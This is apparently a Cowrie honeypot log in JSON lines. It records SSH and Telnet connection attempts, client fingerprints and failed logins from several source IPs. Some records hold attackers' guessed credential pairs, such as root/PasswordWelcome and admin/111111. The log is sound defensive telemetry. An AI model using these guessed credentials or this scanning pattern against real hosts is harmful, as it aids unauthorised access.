{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a3:13:33:c2:0f:51:f0:7c:7a:5c:9c:8c:75:ef:7f:f6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDBHFFZ8p912TpP2InMY9fXVPJ4AjaGKhaskpxm88IqFytIoZyTeijOIwNCh1jyHCpQNuQEco5h3dctypRujvQkaqGhHxcH2ZV0HYCD3hnOHCsinT67/rPtVebJEqwil3+XQKkEjQZwiySMIOq1L6dfclguKpUBcZmaIYb4fM/X7SKCRGLPKj5Vz+zBcxHyu+k8OCJ18r2Le6l7euB/3one07skKj6nrG/bZ6RPH40soF11zEQpIKGQ7AEgtwelrgIVTUysLCXxolUqT4GllCjBMXd7cl5CW1jTPRX6QuDUdFLAGhsV+djwSt8Kp3CuzcbyZdlud5DvddrVfNlyOV7MUCwHuzC9Ha2ljWRhzabQOLMLQeSHgUczQUsEatU9yvZDzKDmZDn3Cl9lEy8OywBdgwwzySsLBAG0EQVx3m1Nl42j3V6IPExen0wDuI1Ecu6013HKDxOgJJiW+VhAXOhaCoVno2Gg4dpryjCav6leoa7tjlu06JPjRsY27ZEgFnHzzhkhEyIGmkn4rF257Ar5n+3VBsU8AJ4/qL8J/ZJBMaKEpu+9CBjNE6pPyIIna3Y0B0aMSubtyG9vVGO+tuCcPOWjzJNJIdYwO0518N0uGltPSp8nUN2tr88fKOI9yhQTS1fDgsuYV/Hmgab1m2wyT9K8j1I/W+8NzVOp5i+NeQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:47:42.558866Z","src_ip":"154.16.115.17","session":"e58cda26d595","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:47:42.587790Z","src_ip":"154.16.115.17","session":"e58cda26d595","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.227.244.120","src_port":45288,"dst_ip":"159.203.135.109","dst_port":22,"session":"897b06537218","protocol":"ssh","message":"New connection: 209.227.244.120:45288 (159.203.135.109:22) [session: 897b06537218]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:47:50.531476Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:47:50.535397Z","src_ip":"209.227.244.120","session":"897b06537218","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:47:50.623782Z","src_ip":"209.227.244.120","session":"897b06537218","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"usage","password":"123456","message":"login attempt [usage/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:47:51.013170Z","src_ip":"209.227.244.120","session":"897b06537218","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:47:52.104937Z","src_ip":"209.227.244.120","session":"897b06537218","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.14209032058716,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:47:53.055808Z","src_ip":"103.249.87.183","session":"8cf449885543","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":36358,"dst_ip":"159.203.135.109","dst_port":23,"session":"6a4bb632791c","protocol":"telnet","message":"New connection: 172.81.62.90:36358 (159.203.135.109:23) [session: 6a4bb632791c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:48:01.183120Z"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":60266,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ef24a6d2bda","protocol":"ssh","message":"New connection: 27.71.230.31:60266 (10.17.0.5:22) [session: 9ef24a6d2bda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:48:10.442569Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:48:10.497268Z","src_ip":"27.71.230.31","session":"9ef24a6d2bda","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:48:12.431444Z","src_ip":"27.71.230.31","session":"9ef24a6d2bda","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"PasswordWelcome","message":"login attempt [root/PasswordWelcome] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:48:13.895245Z","src_ip":"27.71.230.31","session":"9ef24a6d2bda","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.1","message":"Connection lost after 5.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:48:15.516922Z","src_ip":"27.71.230.31","session":"9ef24a6d2bda","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.51996397972107,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:48:35.702930Z","src_ip":"172.81.62.90","session":"6a4bb632791c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.100.248.63","src_port":36540,"dst_ip":"10.17.0.5","dst_port":22,"session":"bb877086ea94","protocol":"ssh","message":"New connection: 34.100.248.63:36540 (10.17.0.5:22) [session: bb877086ea94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:48:50.772511Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:48:50.783002Z","src_ip":"34.100.248.63","session":"bb877086ea94","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:48:51.033854Z","src_ip":"34.100.248.63","session":"bb877086ea94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cad","password":"cad","message":"login attempt [cad/cad] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:48:52.031954Z","src_ip":"34.100.248.63","session":"bb877086ea94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:48:53.290991Z","src_ip":"34.100.248.63","session":"bb877086ea94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":102.52549409866333,"message":"Connection lost after 102 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:48:55.388292Z","src_ip":"94.23.66.112","session":"4e8141c6824e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.227.244.120","src_port":37066,"dst_ip":"159.203.135.109","dst_port":22,"session":"73438cea7a6c","protocol":"ssh","message":"New connection: 209.227.244.120:37066 (159.203.135.109:22) [session: 73438cea7a6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:49:14.117545Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:49:14.121868Z","src_ip":"209.227.244.120","session":"73438cea7a6c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:49:14.215399Z","src_ip":"209.227.244.120","session":"73438cea7a6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devtest","password":"devtest","message":"login attempt [devtest/devtest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:49:14.612088Z","src_ip":"209.227.244.120","session":"73438cea7a6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:49:15.705910Z","src_ip":"209.227.244.120","session":"73438cea7a6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":44046,"dst_ip":"159.203.135.109","dst_port":23,"session":"02ec77fbcc60","protocol":"telnet","message":"New connection: 128.199.8.54:44046 (159.203.135.109:23) [session: 02ec77fbcc60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:49:17.767953Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":42296,"dst_ip":"159.203.135.109","dst_port":23,"session":"fc9eb8f28eaa","protocol":"telnet","message":"New connection: 172.81.62.90:42296 (159.203.135.109:23) [session: fc9eb8f28eaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:49:20.782679Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":44820,"dst_ip":"159.203.135.109","dst_port":22,"session":"09c94bbdb1c4","protocol":"ssh","message":"New connection: 91.92.40.4:44820 (159.203.135.109:22) [session: 09c94bbdb1c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:49:27.335292Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:49:27.369827Z","src_ip":"91.92.40.4","session":"09c94bbdb1c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":44826,"dst_ip":"159.203.135.109","dst_port":22,"session":"84596ce3ca7c","protocol":"ssh","message":"New connection: 91.92.40.4:44826 (159.203.135.109:22) [session: 84596ce3ca7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:49:27.458544Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:49:27.590156Z","src_ip":"91.92.40.4","session":"84596ce3ca7c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:49:27.593186Z","src_ip":"91.92.40.4","session":"84596ce3ca7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"111111","message":"login attempt [admin/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:49:28.079394Z","src_ip":"91.92.40.4","session":"84596ce3ca7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:49:29.351763Z","src_ip":"91.92.40.4","session":"84596ce3ca7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":56394,"dst_ip":"159.203.135.109","dst_port":22,"session":"d5e23599f5cf","protocol":"ssh","message":"New connection: 27.71.230.31:56394 (159.203.135.109:22) [session: d5e23599f5cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:49:30.376056Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:49:30.702258Z","src_ip":"27.71.230.31","session":"d5e23599f5cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:49:32.630170Z","src_ip":"27.71.230.31","session":"d5e23599f5cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"PasswordWelcome","message":"login attempt [root/PasswordWelcome] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:49:34.920030Z","src_ip":"27.71.230.31","session":"d5e23599f5cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.8","message":"Connection lost after 5.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:49:36.213477Z","src_ip":"27.71.230.31","session":"d5e23599f5cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.768396615982056,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:49:56.550987Z","src_ip":"172.81.62.90","session":"fc9eb8f28eaa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":49520,"dst_ip":"159.203.135.109","dst_port":23,"session":"5f156f534a49","protocol":"telnet","message":"New connection: 172.81.62.90:49520 (159.203.135.109:23) [session: 5f156f534a49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:49:59.021600Z"}
{"eventid":"cowrie.session.closed","duration":54.08337998390198,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:50:11.851215Z","src_ip":"128.199.8.54","session":"02ec77fbcc60","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.114184617996216,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:50:36.135684Z","src_ip":"172.81.62.90","session":"5f156f534a49","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"182.93.50.90","src_port":65426,"dst_ip":"10.17.0.5","dst_port":22,"session":"65bae9b92cc0","protocol":"ssh","message":"New connection: 182.93.50.90:65426 (10.17.0.5:22) [session: 65bae9b92cc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:50:36.696873Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:50:36.701392Z","src_ip":"182.93.50.90","session":"65bae9b92cc0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:50:36.916909Z","src_ip":"182.93.50.90","session":"65bae9b92cc0","protocol":"ssh"}
